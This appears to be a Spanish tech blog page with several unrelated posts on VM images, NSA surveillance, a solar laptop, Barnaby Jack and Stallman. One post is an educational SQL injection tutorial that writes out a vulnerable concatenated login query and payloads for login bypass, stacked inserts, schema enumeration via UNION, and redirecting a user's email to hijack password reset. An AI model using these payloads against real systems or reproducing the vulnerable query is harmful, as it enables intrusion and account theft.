Ahorra tiempo descargando máquinas virtuales preconfiguradas

Una máquina virtual es un programa de ordenador que emula ser una computadora. Es decir, a través de software se recrea un hardware. ¿Para qué? Principalmente, para tener una configuración específica de hardware y software en un entorno controlado, pues la máquina virtual es un programa estanco que no afecta a tu ordenador. Con una máquina virtual se pueden probar programas, encontrar vulnerabilidades y realizar tareas peligrosas sin miedo a estropear tu sistema operativo. Los programas para crear máquinas virtuales más conocidos son VirtualBox y VMware. Te presentamos páginas con máquinas virtuales preconfiguradas, para descargar y usarlas sin configurar nada.

maquina-virtual

 

Las máquinas virtuales son muy útiles por su versatilidad. Tanto VirtualBox como VMware son capaces de virtualizar prácticamente cualquier sistema operativo que puedas imaginar y en arquitectura de 32 o 64 bits, siempre y cuando tu ordenador sea compatible. La única desventaja de la máquina virtual es que, en funcionamiento, consume la mitad de recursos, ya que se trata de ejecutar el sistema operativo real y otro virtualizado. Pero las ventajas son muchas, principalmente mantener tu sistema operativo a salvo y seguro de cualquier prueba o percance que tengas dentro de la máquina virtual.

Para que no tengas que configurar máquinas virtuales por tu cuenta, te recomendamos algunas páginas dedicadas a facilitar máquinas preconfiguradas que sólo tendrás que descargar e instalar para empezarla a usar. Seguramente tendrás que cambiar algún aspecto, como la cantidad de RAM dedicada o el idioma del sistema operativo virtualizado, pero te ahorrarás todo el proceso de instalación.

VirtualBoxes

La primera recomendación es VirtualBoxes, una página que ofrece máquinas virtuales preconfiguradas para VirtualBox. Entre sus secciones, destaca principal la de ”Images”, con las máquinas a descargar. En concreto, encontrarás más de 30 distribuciones Linux diferentes, así como OpenSolaris, FreeBSD y otros sistemas como Android para procesadores x86, Haiku o FreeDOS.

Al entrar en la página de cada máquina virtual, verás que están representadas las distintas versiones del sistema operativo que quieres, lo que te será muy útil para probar versiones antiguas para propósitos concretos.

Si tienes dudas, puedes usar la documentación oficial, y si quieres ver el aspecto de una máquina virtual antes de abrirla, hay disponibles algunas capturas de pantalla.

VirtualBoxImages

La segunda recomendación es VirtualBoxImages, una página más completa que la anterior y que ofrece un sinfín de máquinas virtuales. Su guía para empezar a usar las máquinas te será muy práctica.

Además, diferencia entre máquinas gratuitas (Free VDIs) y máquinas de pago (Featured VDIs) que añaden soporte técnico vía correo electrónico, por si tienes alguna duda o problema.

VirtualBoxes – Free VirtualBox Images

La tercera recomendación específica para VirtualBox está hospedada en SourceForge y cuenta con 46 sistemas operativos distintos, distribuciones Linux en su mayoría, y con varias versiones de cada uno, que podrás descargar y descomprimir en tu ordenador para usar.

Traffic Tool – VMware images

Para VMware también hay muchas imágenes de máquinas virtuales preconfiguradas. La primera es la hospedada en Traffic Tool, que aunque no ofrece demasiadas, 18 máquinas de 7 sistemas operativos diferentes, están bien configuradas para que sólo tengas que descargarlas y abrirlas con VMware Player o VMware Workstation.

Virtual Machine

En Virtual Machine verás un montón de sistemas operativos para probar, básicamente distribuciones Linux y FreeBSD. En cada ficha sabrás los requisitos de la máquina a nivel de hardware e información útil como la contraseña del usuario root.

Ataques SQL Injection

Como desarrolladores tenemos una gran responsabilidad sobre la seguridad de las aplicaciones en las que participamos y creo que no pensamos en ello (yo incluido) con la debida frecuencia o el debido respeto. Permitirme que me ponga un poco drástico. Cuando desarrollamos una aplicación sobre nóminas, una aplicación sobre informes médicos, o cualquier otro tipo de información sensible, lo que está en juego no es solo la integridad de la aplicación, detrás hay usuarios, hay vidas de personas.

Mi intención al escribir este artículo no es enseñaros nada nuevo sobre el tema, hay mucho escrito en internet y en libros sobre SQL Injection. El propósito de este artículo es que como desarrolladores tomemos conciencia de esta responsabilidad y por otro lado conocer los conceptos básicos de este tipo de ataques.

Estoy seguro que el lector, el que más o el que menos, conoce los peligros de un ataque por inyección de SQL. De hecho, la organización OWASP (Open Web Application Security Project) coloca esta vulnerabilidad la primera de la lista en su Top 10 de riesgos en aplicaciones web.

Las vulnerabilidades por inyección de SQL se caracterizan por tener un vector de ataque muy sencillo, el atacante simplemente envía texto a un intérprete. Así mismo es una vulnerabilidad frecuente y dependiendo de los casos, no es difícil detectarla. La última característica a mencionar es que tienen un impacto muy grande en las aplicaciones atacadas.

Tal y como se aprecia en la tabla anterior (Risk Rating Methodology) los ataques por inyección no solo afectan a las consultas de SQL. También pueden ser atacadas por inyección las consultas LDAP (Lightweight Directory Access Protocol), XPATH o comandos del sistema operativo entre otros. En este artículo centraremos nuestro interés en los ataques por inyección de SQL.

Introducción

En primer lugar, hablaremos de algunas versiones con las que se puede ejecutar este tipo de ataque, la mejor forma de “vacunarse” es sin duda el conocimiento, comprender cómo y porque es posible este tipo de debilidad en nuestras aplicaciones.

Anteriormente adelantamos que el vector de ataque sobre esta vulnerabilidad consiste en enviar un simple texto al intérprete de SQL. Es decir, todo dato, y repito otra vez, todo dato enviado a nuestra aplicación por un usuario, ya sea este humano o electrónico, es susceptible de contener código SQL que podría modificar el comportamiento esperado de nuestra aplicación. Por lo tanto, cualquier información que nuestra aplicación esté esperando desde fuera, debe tomarse como potencialmente peligrosa.

Para los ejemplos de código de inyección de SQL que vamos a ver a continuación, tomaremos como ejemplo el típico formulario de login que el usuario malintencionado podría usar como un posible punto de entrada a nuestra aplicación. Por lo tanto, los datos o información potencialmente peligrosa en este escenario, serán tanto el email del usuario como la contraseña.

Como es lógico, y por motivos puramente pedagógicos, para todos los ejemplos que veremos a continuación se ha supuesto que en la capa de acceso a datos existe un código de servidor que no previene contra este tipo de ataques. Podría ser algo parecido a lo mostrado a continuación.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
string query = "SELECT * FROM Employees WHERE Email = "
+ "'" + email + "'"
+ " AND [Password] = "
+ "'" + pass + "';";
using (var conn = new SqlConnection(ConnString))
{
    using (var cmd = new SqlCommand(query, conn))
    {
        cmd.CommandType = CommandType.Text;
        conn.Open();
        using (var reader = cmd.ExecuteReader())
        {
            while (reader.Read())
            {
                // etc...
            }
            reader.Close();
        }
    }
}

En este caso, la consulta ejecutada en la base de datos tendría el siguiente aspecto.

1
SELECT * FROM Employees WHERE Email = 'NombreEmpleado' and [Password] = 'ContraseñaEmpleado';

Seguidamente comprobaremos las diferentes vías que podrían utilizarse desde fuera de nuestra aplicación para modificar el comportamiento de esta consulta. ¿Estáis preparados para poneros en la piel del atacante?

Comprobar si es vulnerable

Una forma rápida de comprobar si una aplicación es vulnerable a inyecciones de SQL podría ser enviar al intérprete una comillas simple ( ‘ ) para terminar la instrucción en ese momento y que todo lo demás sea código no ejecutable por el intérprete de SQL y esto provoque un error. Veamos un ejemplo.

Campo email = meloinvento y campo contraseña =

Consulta construida:

1
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = ''';

La parte de la consulta que el intérprete de SQL puede entender es:

1
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = ''

Es decir, en esta parte se está comprobando que Email sea igual a ‘meloinvento‘ y que Password sea igual a ”, lo que es totalmente correcto gramaticalmente aunque no devolvería ningún resultado.

Pero al final de la consulta todavía tenemos una pequeña fracción de código ‘; que el intérprete no puede ejecutar correctamente. Lo que sin duda provocará un error en el intérprete de SQL y por extensión en la aplicación.

En este caso, el como la aplicación gestione este tipo de errores es lo de menos. Si nosotros como atacantes recibimos una amigable pantalla de error, igualmente habremos conseguido nuestro propósito, averiguar si la aplicación es susceptible de ser atacada.

Introducir una instrucción siempre True

Una forma típica de inyectar SQL en una aplicación y que seguramente el lector ya conoce es cuando inyectamos una instrucción siempre verdadera consiguiendo que la instrucción WHERE siempre se cumpla y nos devuelva siempre resultados sin conocer los datos auténticos.

Campo email = meloinvento y campo contraseña = ‘ or ’1′=’1

Consulta construida:

1
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = '' or '1'='1';

Quiero llamaros la atención aquí sobre el juego de comillas simples que se ha realizado. Comenzando nuestro código maliciosocon una comilla simple hemos cerrado el contenido de la variable Password, y como al terminar nuestro código malicioso sin una comilla simple hemos aprovechado una comilla simple que seguramente, así lo hemos supuesto, exista ya en el código de la aplicación. De esta forma la instrucción comprueba que FirstName sea igual a ‘meloinvento‘ y que Password sea igual a ”, o que1 sea igual 1 lo que siempre es cierto y nos permite entrar en el sistema.

Nota: si la aplicación consume datos desde MySQL bastaría con incluir OR 1 — x. Con esto quiero mostraros que aunque para este artículo se ha elegido SQL Server, los conceptos son los mismos para cualquier tipo de base de datos.

Con datos numéricos

Hemos visto algunos sencillos ejemplos cuando las variables a atacar son de tipo alfanumérico, y como hemos podido comprobar el meollo del asunto consiste en ir jugando con las comillas simples que espera el intérprete de SQL. Pero cuando los datos son de tipo numérico, supongamos que la contraseña lo es, si no se tiene especial cuidado podemos tener total libertad para ejecutar instrucciones completas en nuestro sistema. También podría ser una comprobación por el campo ID o por cualquier otro concepto numérico.

Campo email = ‘meloinvento‘ y campo contraseña = 00000; insert into employees (firstName, password) values (‘Oscar’, 85493)

Consulta construida:

1
2
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = 00000;
insert into employees (email, password) values ('Oscar', 85493);

Como se puede observar realmente se han enviado dos instrucciones SQL al intérprete, una que comprueba un supuesto empleado y otra que directamente inserta un nuevo empleado en la aplicación permitiéndonos tener acceso a la misma.

Evidentemente este tipo de ataque es mucho más difícil de realizar de lo que parece. Para empezar, deberíamos conocer el nombre de la tabla, aunque siempre se pueden probar nombres razonables como Users, Employees, Clients, etc, veremos más tarde como atajar este problema.

Otra dificultad añadida es que la tabla normalmente contendrá más campos que no podrán ser nulos, lo que provocará un error en la aplicación al no poder ejecutarse correctamente la instrucción SQL. Y como siempre, dependiendo de como estén gestionados este tipo de errores, podríamos recibir información sobre el error y poco a poco afinar con la inyección de SQL. Sea como sea, es algo de lo que tenemos que ser conscientes como desarolladores.

Averiguar el número de columnas de la tabla

Como bien sabe el lector, la instrucción ORDER BY también puede ser utilizada como si de un array se tratara y en lugar de pasarle el nombre de la columna podemos pasarle un valor entero con la posición que ocupa la columna en la tabla empezando desde 1.

1
SELECT * FROM Employees WHERE LastName = 'Gomez' ORDER BY 2

Esta consulta ordena los resultados ascendentemente por la segunda columna en la tabla. Ahora bien, podríamos ir probando distintos valores (3, 4, 5, etc) y cuando la aplicación lance un error sabremos que nos acabamos de pasar por arriba en el número de columnas de la tabla.

Campo email = meloinvento y campo contraseña = ‘ ORDER BY 7; –

Consulta contruida:

1
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = '' ORDER BY 7; --'... ;

En el caso que nos ocupa esta consulta lanzaría un error del siguiente tipo.

Anteriormente ya he mencionado que no importa que no veamos esta información, es suficiente con que la aplicación muestre una agradable pantalla informándonos del error, igualmente sabremos que la tabla tiene 6 columnas.

Averiguar el nombre de una columna

La idea en este caso es ir probando nombre lógicos o esperables para los nombre de las columnas en un consulta que se ejecuta satisfactoriamente, es decir, al contrario que antes, cuando no recibamos un error, sabremos que hemos acertado.

Campo email = meloinvento’ or firstname = ”; –

Consulta contruida:

1
SELECT * FROM Employees WHERE Email = 'meloinvento' or firstname = ''; --' AND [Password] = '';

Si esta consulta se ejecuta sin mostrarnos un error sabremos que hemos acertado con el nombre de la columna, en caso contrario nos tocará seguir probando otros nombres.

Averiguar el nombre de una tabla

Igual que antes probaremos distintos nombre para el nombre de la tabla y sabremos que el nombre es correcto cuando la consulta se ejecute satisfactoriamente.

Campo email = meloinvento’ or 1 = (select count(*) from Employees); –

Consulta contruida:

1
SELECT * FROM Employees WHERE Email = 'meloinvento' or 1=(select count(*) from Employees); --' AND [Password] = '';

Fijaros en que nos importan en absoluto si la segunda condición que hemos introducido se cumple. Nos da lo mismo si la tabla tenga 1 o 100 filas, lo que nos interesa aquí es que la consulta es gramaticalmente correcta y por lo tanto hemos dado con el nombre de una tabla.

Ahora bien, de momento sabemos que en el sistema existe una tabla Employees y lo mismo podríamos hacer con otras tablas si conocemos un poco el negocio de la aplicación que estamos asaltando. Pero también podemos averiguar si el nombre de la tabla que hemos adivinado se está utilizando en la consulta actual.

Campo email = meloinvento’ and employees.email is null; –

Consulta construida:

1
SELECT * FROM Employees WHERE Email = 'meloinvento' and employees.email is null; --' AND [Password] = '';

Esta forma de especificar el nombre de la columna Email en la segunda condición, solo funciona cuando el nombre de la tabla especificado es el mismo que se utiliza después de la cláusula FROM.

Enviar la contraseña de un usuario

Es habitual que antes de comenzar ningún ataque ya conozcamos el email de algún usuario registrado en el sistema. Ya sea porque se trata de una red social y el usuario es un conocido nuestro o de nuestros conocidos. O simplemente porque en la propia aplicación web exista en la zona de contacto uno o varios emails de usuarios adminstradores del sistema para poder contactar con ellos en caso de problemas, sugerencias o dudas.

Supongamos también que la aplicación web tiene el típico enlace “Si no recuerdas la contraseña haz clic aquí” en la que se nos pedirá un email para enviarnos la contraseña automáticamente por correo electrónico. Procedamos!!.

Campo email = meloinvento’; update employees set email = ‘miEmail@hacker.com’ where email = ‘emailConocido@hostweb.com’; –

Consulta contruida:

1
2
SELECT * FROM Employees WHERE Email = 'meloinvento';
update employees set email = 'miEmail@hacker.com' where email = 'emailConocido@hostweb.com'; --' AND [Password] = '';

Ahora solo tendremos que ir al formulario donde se nos pide el email para enviarnos la contraseña e introducir el email malicioso para al de unos minutos obtener la contraseña de este usuario.

Averiguar información del esquema

Cambiemos un poco el escenario del crimen. Imaginaros que hemos conseguido entrar en la aplicación con las credenciales de otro usuario/empleado. Al navegar por la aplicación nos encontramos con una página donde se muestra un listado de clientes del empleado que hemos suplantado.

Como podemos observar el listado permite realizar una búsqueda por el código postal del cliente que mostrará los resultados para el empleado que entró en la aplicación. Con lo que sabemos hasta ahora (los clientes pertenecen a un empleado específico y los clientes se buscan por código postal) podríamos suponer que la consulta tendría un aspecto parecido al mostrado a continuación.

1
SELECT * FROM NombreTabla WHERE NombreColumna = identificadorEmpleado AND OtraColumna = 'codigoPostalCliente';

SQL Server al igual que MySQL proporciona información del esquema de las bases de datos por medio de la tabla de sistema INFORMATION_SCHEMA. Te recomiendo que ejecutes en cualquiera de tus bases de datos las dos consultas siguientes para que puedas observar la información que contienen.

1
SELECT * FROM INFORMATION_SCHEMA.TABLES;
1
SELECT * FROM INFORMATION_SCHEMA.COLUMNS;

Intentemos ahora averiguar el nombre de todas las tablas de la base de datos.

Campo búsqueda = ‘ union select 1, 2, table_name, 4, 5, 6, 7 from information_schema.tables; –

Consulta construida:

1
2
SELECT * FROM Customers WHERE EmployeeID = '6' AND PostalCode = ''
union select 1, 2, table_name, 4, 5, 6, 7 from information_schema.tables; --';

Las consultas que usen la clausula UNION (también INTERSECT y EXCEPT) deben tener el mismo número de columnas en las dos SELECT. Por ese motivo en la segunda SELECT se han añadido los índices ordinales de varias columnas para rellenar. Fijaros también que la columna que contendrá los nombres de las tablas, table_name, se encuentra en 3er lugar. Hay que hacerla coincidir con una columna que admita valores de texto y hemos supuesto que las dos primeras columnas contenían identificadores y por lo tanto eran probablemente de tipo numérico.

Al pulsar sobre el botón de búsqueda obtenemos la información esperada.

En la base de datos existen dos tablas, Employees y Customers, además de un diagrama de base de datos. Podríamos intentar hacer lo mismo con la información de las columnas de toda la base de datos.

Campo búsqueda = ‘ union select 1, 2, table_name, column_name, ordinal_position, data_type, is_nullable from information_schema.columns; –’;

Consulta construida:

1
2
SELECT * FROM Customers WHERE EmployeeID = '6' AND PostalCode = '' union
select 1, 2, table_name, column_name, ordinal_position, data_type, is_nullable from information_schema.columns; --';

El resultado cuando menos es espectacular.

Por order de aparición, de izquierda a derecha, vemos el nombre de la tabla, el nombre de la columna, el lugar que ocupa esta en la tabla, el tipo de datos que contiene la columna y si admite valores nulos. Mencionar por último que el poder ver la información del esquema de la base de datos depende de cómo estén configurados los permisos en el servidor de base de datos. No todos los usuarios tienen porque tener permisos para acceder a esta información.

Comentarios Finales

Evidentemente todo lo aquí visto ha sido posible gracias a un código de aplicación escrito a propósito con poca o ninguna consideración sobre estos temas, pero ha cumplido su cometido, que no era otro que didáctico. De todas formas, las inyecciones de SQL no son como el Unicornio Blanco, son muy reales. Durante la preparación de este artículo, el aquí presente, ha encontrado un par de webs reales susceptibles de ser atacadas con los conceptos que acabamos de estudiar.

Tener en cuenta que los ataques mostrados en este artículo quizás no han sido demasiado agresivos pero igualmente se podrían haber enviado sentencias para borrar registros, tablas o cualquier otra invasión relacionada con el negocio de la aplicación. Comentar también que por supuesto existen técnicas mucho más sofisticadas de este vector de ataque, aquí hemos visto quizás las más elementales.

Espero que encontréis de utilidad, o al menos interesante, el artículo y sobre todo que os haya hecho pensar en esa gran responsabilidad que tenemos como desarrolladores sobre la seguridad de nuestras aplicaciones.

Protegernos de la NSA, y el papel del software libre en todo esto

Stallman

¿.Tenía Stallman razón? ¿Es el software libre la mejor protección frente a la NSA?

¿Qué podríamos hacer si nosotros somos fuésemos un objetivo de la NSA? ¿Cómo podemos protegernos? Lo cierto es que es difícil. Chema nos comenta que quizá usando criptografía simétrica de punto a punto sería posible, usando sistemas como PGP pero, eso sí, vigilando las implementaciones.

Sin embargo, parece difícil. “Podemos protegernos frente a ataques masivos pero frente a ataques dirigidos, es cuestión de tiempo y dinero”, según Alfonso, y Yago nos lo resume con una buena analogía:

Tomando como ejemplo el ya famoso juego GTA, depende del número de ‘estrellas’ que tengas activadas. Si eres un objetivo menor/medio que no llama la atención excesivamente, tal vez la criptografía pueda ponerte a salvo. Si tienes las 5 estrellas activadas, no hay salida.

Y otra cuestión muy interesante: ¿puede protegernos el software libre de todo esto? Es conveniente, pero no suficiente, apunta Alfonso Muñoz: importa mucho más la calidad de los ojos que miran el código que cuántos ojos lo miran. “No es trivial analizar un código ni todo el mundo tiene la capacidad para hacerlo con ciertas garantías.”

Aunque el software libre puede ayudar, tampoco es la panacea ni la salvación absoluta.

Mención aparte merece el caso de TrueCrypt. Chema y Yago coinciden en que las dudas son razonables, aunque Alfonso se muestra más precavido a la hora de lanzar especulaciones al aire – “Es conveniente que la gente pruebe sus afirmaciones. Se puede producir el efecto contrario: que la gente no use software de protección de este tipo o desarrolle mecanismos propios inseguros” -. Eso sí, reconoce que no parece existir ningún análisis en profundidad del código fuente de la herramienta.

Esperamos que este artículo os haya aclarado las dudas que pudiéseis tener sobre seguridad a raíz de las filtraciones de la NSA.

SOL el portatil con Ubuntu que puede operar durante 10 horas con sólo dejarlo dos tomando el sol.

Sol es probablemente el primer portátil que aspira a funcionar durante tiempo indefinido siempre y cuando tengamos luz solar.

Lo ha fabricado la compañía canadiense WeWi Telecommunications, cuyos responsables aseguran que puede operar durante 10 horas con sólo dejarlo dos tomando el sol.

Sol lleva sistema operativo Ubuntu, y las primeras unidades serán enviadas a Ghana, un país donde seguro que es bien recibido un portátil que no necesita tomas de corriente.Cuando salga a la venta costará 350 dólares en su versión estándar, y 400 dólares en la sumergible. Os dejamos con sus especificaciones y algunas fotos. Cómo veis, sus características internas recuerdan mucho a las de los netbooks.

  • Procesador: Intel Atom Dual Core D2500 a 1,86GHz
  • Memoria: 2 o 4GB DDR3
  • Almacenamiento: Disco duro Seagate de 2,5 pulgadas y 320GB
  • Gráfica: Integrada Intel GMA 3600 compatible con reproducción de vídeo 1080p.
  • Batería: De 8 a 10 horas
  • Pantalla: 13,3 pulgadas con resolución 1366 x 768
  • Sonido: Realtek ALC661 con dos altavoces
  • Puertos: Ethernet, HDMI, tres USB 2.0, auriculares y micrófono. Ranura para tarjetas SD y compatibles.
  • Conectividad: WiFi, Bluetooth 4.0, GPS, posibilidad de módulo LTE.

Sol, el portátil solar con Ubuntu que no necesita enchufarse

 

 

El hacker Barnaby Jack muere una semana antes de la convención de hacking

El clima se enrareció repentinamente y el entusiasmo ante la cercanía de la convención de hacking más importante se convirtió en angustia, en un dolor compartido ante lo que todavía resulta incomprensible. El hacker Barnaby Jack, aquel que forzó a los cajeros automáticos a soltar dinero y el mismo que había descubierto algunas vulnerabilidades en dispositivos médicos, fue encontrado muerto en San Francisco, una semana antes de la convención de hacking en la que su charla iba a ser uno de los eventos principales, presentándose como el único hombre en la Tierra que sabía cómo hackear un marcapasos.

Los buenos mueren jóvenes, dice una de las frases más acertadas en la historia de las muertes prematuras. No hay mucho para hacer, salvo recordar y comprender por qué la muerte de alguien en particular puede doler más que otras. Tal y como sucedió con el triste final de Aaron Swartz, el hacker co fundador de Reddit que se suicidó ante las presiones legales que tenía por su lucha contra la Ley SOPA, cuando se muere alguien que por su genialidad podía dar todavía mucho más de lo que dio en vida, el pesar se redobla. Esto mismo es lo que está sucediendo con Barnaby Jack, que a sólo una semana de presentarse en la convención de Black Hat Hackers en Las Vegas, prometiendo una demostración increíble en la que pondría al desnudo una vulnerabilidad existente en los marcapasos y desfibriladores internos, fue encontrado muerto en su departamento de San Francisco.

El hacker Barnaby Jack muere una semana antes de la convención de hackingDe cuna neo zelandesa, Barnaby Jack era mucho más que un hombre de 35 años con un nombre de pirata. El muchachos había logrado ganarse el respeto de toda la comunidad hacker a través de sus hazañas y descubrimientos dentro de lo que se conoce como “White hat”. Perteneciente a una estirpe de hackers que le hacen bien al concepto distorsionado que se tiene de la palabra hacker, Barnaby Jack se dedicaba a descubrir agujeros en la seguridad que nadie había visto antes y los hacía públicos, mucho antes de que los hackers criminales pudieran enterarse. La creatividad demostrada en sus descubrimientos siempre le significaba un reconocimiento especial, ya que forzaba a la industria del software y del hardware a ser más rigurosos con sus productos, tapando estas vulnerabilidades. Con esta lógica fue que, entre otras cosas, puso de rodillas a los cajeros automáticos logrando sacar dinero de ellos. Lo mismo sucedió con algunos dispositivos médicos de seguridad.

 El hacker Barnaby Jack muere una semana antes de la convención de hacking

Barnaby, que cosechó tal fama que hasta el departamento de seguridad de los EEUU lamentó su fallecimiento en un comunicado, mostró en 2010 cómo era la vulnerabilidad existente en los cajeros automáticos que le permitiría  a los hackers explotarla para sacar dinero. Luego, entre tantos otros descubrimientos, Barnaby se ocupó de los dispositivos médicos y de la seguridad que estos tenían, llegando a descubrir que con su laptop podría matar a una persona con un marcapasos a 30 metros de distancia, abusando de lo “hackeable” de estos dispositivos. Justo esto iba a presentar el esta semana, pero el secreto se ha ido con él en una muerte que todavía no tiene explicación ni se conocen las causas todavía. Esperemos que el próximo en descubrir esta vulnerabilidad sea, al menos, la mitad de genio y la mitad de bien intencionado que era él.

Mark Zuckerberg, al mando de la máquina de espionaje más espantosa del mundo!! FACEBOOK

Según la cifra oficial, Facebook, la mayor red social del mundo, cuenta con más de 1.100 millones de usuarios activos mensualmente. En realidad, es una “monstruosa máquina de vigilancia”, comentó el activista del software libre Richard Stallman.

CACA.PNGStallman, creador de la Fundación para el Software Libre, la organización que desde 1985 se dedica a eliminar las restricciones sobre la copia, redistribución y modificación de programas de computadoras, insiste en que la mejor manera de proteger los datos es abstenerse de usar servicios tan “repugnantes” como Facebook. En su entrevista para el programa de RT ‘SophieCo’, el activista explicó que en EE.UU. las corporaciones y el Estado “van mano a mano”, ya que la llamada Ley Patriota obliga a las compañías a entregar datos confidenciales a los servicios secretos.

En numerosas ocasiones el fundador del sitio de filtraciones WikiLeaks, el periodista australiano Julian Assange, advirtió a los internautas contra la adhesión ciega a la red social. “Facebook es la más espantosa máquina de espionaje jamás inventada. Todo el mundo debe entender que cuando agrega amigos en Facebook lo que hace es trabajar gratis en la construcción de una base de datos para las agencias de los estadounidenses. Es una base de datos muy accesible, que contiene información sobre las relaciones, nombres y direcciones de la gente y de sus familiares, todo al alcance de EE.UU., todo accesible para la inteligencia norteamericana”, insiste.

“La gente se siente muy a gusto [en Facebook] porque no solo puede compartir más información y más variada, sino porque además la puede compartir más abiertamente y con más gente”, explicó Mark Zuckerberg a la hora de comentar los primeros éxitos de su criatura. Compartir información “más abiertamente” y con “más gente” suena muy bien, pero los espías, sean domésticos o extranjeros, también son “más gente”, según los reconocidos periodistas estadounidenses Marc Ambinder y David Brown (D.B. Grady). En su libro ‘Deep State: Inside the Government Secrecy Industry’ (‘Las profundidades del Estado. La industria de los secretos del Gobierno’) postulan que, en primer lugar, el beneficiario natural de este “gueto de cristal para la privacidad” es el Estado.”Hoy en día este tipo de información se usa ampliamente en los procedimientos legales. No hay necesidad alguna de órdenes judiciales, la Cuarta Enmienda [el derecho de los habitantes de EE.UU. de que sus personas, domicilios, papeles y efectos se hallen a salvo de pesquisas y aprehensiones arbitrarias] no vale”, acentúan.

Al mismo tiempo los periodistas destacan la otra cara de la moneda. “En las primeras etapas de las campañas militares de Irak y Afganistán los efectivos estadounidenses subían a sus perfiles en Myspace imágenes de su vida cotidiana en los campos militares en las zonas de guerra. Muy pronto el Ejército se dio cuenta de que los servicios extranjeros de inteligencia podían recopilar miles de estas fotos y crear mapas detallados a todo color de sus bases militares, un resultado para el cual en la época de la Guerra Fría se necesitaba la infiltración de espías de primera clase, maletas de dinero y esquemas muy elaborados de chantaje.

En nuestra época de transparencia extrema, basta con ir a una cuenta de MySpace para saber adónde se debe dirigir el fuego de los morteros”, puntualizan. Ambinder y Brown recuerdan que desde el año 2009 los efectivos estadounidenses tienen prescrito usar la red con sumo cuidado.

Richard Stallman… no quiere a Ubuntu !!

Ayer estuve leyendo, unas letras de Richard Stallman (quien no necesita presentación), sobre Ubuntu (que como siempre, no dejan a nadie indiferente) y la posterior contestación de Jono Bacon, (Ubuntu Community Manager, como le gusta denominarse) que se mostró bastante comedido en su respuesta, pero no se calló nada de lo que pensaba.

Sin entrar en juicios de valores e intentando dejar de un lado mi opinión personal, os pongo en situación para que seáis vosotros los que opinéis.

Richard Stallman, utilizó su blog en la web de la FSF (Free Software Foundation), para despues de una larga disertación sobre lo que era “software malicioso y programas espías”, acusara directamente a Canonical y a Ubuntu en particular, de espiar a sus usuarios mediante el sistema de búsquedas que utiliza esta distro.

El principal motivo de esta acusación es la integración con Amazon, que utiliza nuestros datos para ofrecernos sus productos. Aunque él mismo reconoce que se dio la posibilidad de desactivarlo, aduce que muchos no lo harán y esto merma la libertad del usuario. En realidad esto de la merma es suavizarlo, porque les acusa directamente de espiar y utilizar la información privada de sus usuarios, llegando al punto de pedir que directamente se boicotee esta distro en los eventos internacionales e incluso locales, por considerarlo espía.

stallman-ubuntuPalabras de Richard: “Si alguna vez quiere recomendar o redistribuir GNU/Linux, por favor elimine Ubuntu de las distros que recomiendan. En festivales de instalación, en eventos de Software Freedom Day, en eventos FLISOL, no instale ni recomiende Ubuntu. En su lugar, dígale a la gente que Ubuntu está rechazado por espionaje.

Estos comentarios tuvieron contestación por parte de Jono Bacon, en su blog privado, que aunque no se calló sus ideas, si dejó claro que su contestación era a titulo personal y no hablaba en nombre ni de Ubuntu ni de Canonical.

Resumiendo de nuevo, Jono comenta que si esto es un problema para los usuarios trabajarán para que se sientan más a gusto, pero acusar a Ubuntu de espiar y utilizar los datos de los usuarios solo por este motivo, es un poco sacar los pies del tiesto. Le contesta que le parece muy bien lo que opine y que aunque le respeta, no está de acuerdo con su opinión y no por ello pide un boicot a la FSF, por ejemplo, ya que le parece una forma “infantil” de protestar y es preferible hablar de buscar soluciones y no de vetar a nada ni nadie.

“Demos la vuelta a la tortilla. ¿Estoy de acuerdo con todo lo que la Free Software Foundation hace? No, en absoluto, pero yo creo que su trabajo en general es fantástico, vale la pena y proporciona un servicio importante y valioso,  yo nunca sugeriría que deberíamos boicotearla si estoy en desacuerdo con una parte de lo que hacen. Muy por el contrario, les animo a visitar su página web, donar, y quien lo considere, unirse a ellos, ya que proporcionan una valiosa pieza del ecosistema del software libre en general, casi de la misma manera que Ubuntu proporciona otra pieza. Vamos a trabajar juntos, no unos contra otros.”